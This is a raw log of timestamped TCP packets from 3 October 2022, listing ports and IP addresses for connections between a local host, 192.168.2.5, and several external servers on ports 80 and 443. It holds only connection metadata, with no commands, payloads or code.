Oct 3, 2022 17:30:17.407679081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407686949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407712936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407722950 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407744884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407776117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407779932 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407779932 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407809973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407841921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407871008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407890081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407890081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407890081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407902002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407913923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407934904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407942057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407968044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407975912 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408001900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408009052 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408035994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408058882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408068895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408077955 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408101082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408133984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408163071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408164978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408164978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408184052 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408195972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408200026 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408229113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408237934 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408261061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408268929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408294916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408301115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408329964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408337116 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408366919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408386946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408399105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408404112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408431053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408463001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.408492088 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408493042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408514023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.408731937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.409189939 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.426214933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.426274061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.426309109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.426321983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.426341057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.426398993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.426398993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.426477909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.435672045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.435759068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.435811996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.435864925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.435893059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.435916901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.435961962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.435961962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.435975075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436031103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436084986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436088085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436089039 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436131001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436139107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436188936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436192036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436240911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436247110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436300039 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436302900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436358929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436394930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436424017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436429977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436486006 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436486959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436542034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436542988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436599016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436600924 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436655998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436655998 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436709881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436711073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436763048 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436763048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436819077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436819077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436872005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436873913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436929941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.436929941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436980963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.436983109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.437036037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.437036991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.437088966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.437089920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.437141895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.437143087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.437199116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.437203884 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.437252045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.437257051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.437299967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.437305927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.437370062 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.486623049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.486974001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.571630001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.599114895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:23.038619995 CEST	49693	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:30:23.040069103 CEST	49698	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:30:23.065879107 CEST	80	49693	208.67.104.97	192.168.2.5
Oct 3, 2022 17:30:23.067333937 CEST	80	49698	208.67.104.97	192.168.2.5
Oct 3, 2022 17:30:23.067501068 CEST	49698	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:30:23.099719048 CEST	49698	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:30:23.127109051 CEST	80	49698	208.67.104.97	192.168.2.5
Oct 3, 2022 17:30:24.871246099 CEST	80	49698	208.67.104.97	192.168.2.5
Oct 3, 2022 17:30:24.871428967 CEST	49698	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:30:24.993664026 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.020616055 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.020817995 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.035912037 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.062938929 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.063242912 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.063328981 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.112026930 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.138823032 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139234066 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139303923 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139324903 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139328003 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139396906 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139398098 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139405012 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139441967 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139468908 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139492989 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139511108 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139518023 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139524937 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139543056 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139553070 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139565945 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139573097 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139589071 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.139601946 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.139624119 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166330099 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166361094 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166382074 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166403055 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166416883 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166425943 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166449070 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166460991 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166472912 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166495085 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166513920 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166516066 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166538000 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166546106 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166579008 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166585922 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166604042 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166626930 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166629076 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166652918 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166656971 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166676044 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166685104 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166703939 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166712999 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166731119 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166738987 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166754961 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166760921 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166778088 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166785955 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166800022 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.166815042 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.166841984 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.193742990 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193773985 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193804979 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193825960 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193846941 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193867922 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193883896 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.193892002 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193914890 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193939924 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193963051 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.193963051 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.193986893 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.193993092 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194019079 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194019079 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194041967 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194067955 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194072962 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194096088 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194097042 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194122076 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194124937 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194145918 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194168091 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194169998 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194195032 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194215059 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194217920 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194240093 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194261074 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194261074 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194288015 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194298983 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194308043 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194331884 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194334030 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194356918 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194367886 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194380999 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194402933 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194402933 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194427013 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194433928 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194451094 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194456100 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194474936 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194479942 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194499969 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194510937 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194524050 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194525957 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194546938 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194550037 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194570065 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194586039 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194596052 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194608927 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194631100 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194636106 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194652081 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194654942 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194677114 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194679976 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194704056 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.194706917 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194732904 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.194753885 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.221554995 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.221589088 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.221609116 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.221626997 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:25.221641064 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.221679926 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.221694946 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:25.321664095 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:25.348941088 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:25.349049091 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:25.350914955 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:25.378127098 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:25.879477978 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:25.879580975 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:27.926572084 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:27.954417944 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:28.510983944 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:28.511107922 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:29.875382900 CEST	80	49698	208.67.104.97	192.168.2.5
Oct 3, 2022 17:30:29.875498056 CEST	49698	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:30:30.196294069 CEST	80	49699	107.182.129.235	192.168.2.5
Oct 3, 2022 17:30:30.196414948 CEST	49699	80	192.168.2.5	107.182.129.235
Oct 3, 2022 17:30:30.576231003 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:30.603318930 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:31.119661093 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:31.119838953 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:33.219202042 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:33.246355057 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:33.738348961 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:33.738432884 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:35.788949013 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:35.817235947 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:36.318706989 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:36.318808079 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:38.376482010 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:38.403649092 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:38.896092892 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:38.900018930 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:40.959604979 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:40.987992048 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:41.482295990 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:41.482381105 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:44.292083025 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:44.319305897 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:44.814677000 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:44.814830065 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:46.860872984 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:46.887872934 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:46.929281950 CEST	49701	443	192.168.2.5	148.251.234.83
Oct 3, 2022 17:30:46.929331064 CEST	443	49701	148.251.234.83	192.168.2.5
Oct 3, 2022 17:30:46.929421902 CEST	49701	443	192.168.2.5	148.251.234.83
Oct 3, 2022 17:30:47.034698009 CEST	49701	443	192.168.2.5	148.251.234.83
Oct 3, 2022 17:30:47.034755945 CEST	443	49701	148.251.234.83	192.168.2.5
Oct 3, 2022 17:30:47.133435965 CEST	443	49701	148.251.234.83	192.168.2.5
Oct 3, 2022 17:30:47.133680105 CEST	49701	443	192.168.2.5	148.251.234.83
Oct 3, 2022 17:30:47.148056984 CEST	49701	443	192.168.2.5	148.251.234.83
Oct 3, 2022 17:30:47.148103952 CEST	443	49701	148.251.234.83	192.168.2.5
Oct 3, 2022 17:30:47.148485899 CEST	443	49701	148.251.234.83	192.168.2.5
Oct 3, 2022 17:30:47.201276064 CEST	49701	443	192.168.2.5	148.251.234.83
Oct 3, 2022 17:30:47.460123062 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:47.460223913 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:47.525641918 CEST	49701	443	192.168.2.5	148.251.234.83
Oct 3, 2022 17:30:47.525690079 CEST	443	49701	148.251.234.83	192.168.2.5
Oct 3, 2022 17:30:47.550968885 CEST	443	49701	148.251.234.83	192.168.2.5
Oct 3, 2022 17:30:47.551062107 CEST	443	49701	148.251.234.83	192.168.2.5
Oct 3, 2022 17:30:47.551156044 CEST	49701	443	192.168.2.5	148.251.234.83
Oct 3, 2022 17:30:49.499805927 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:49.526947021 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:50.041088104 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:50.041255951 CEST	49700	80	192.168.2.5	171.22.30.106
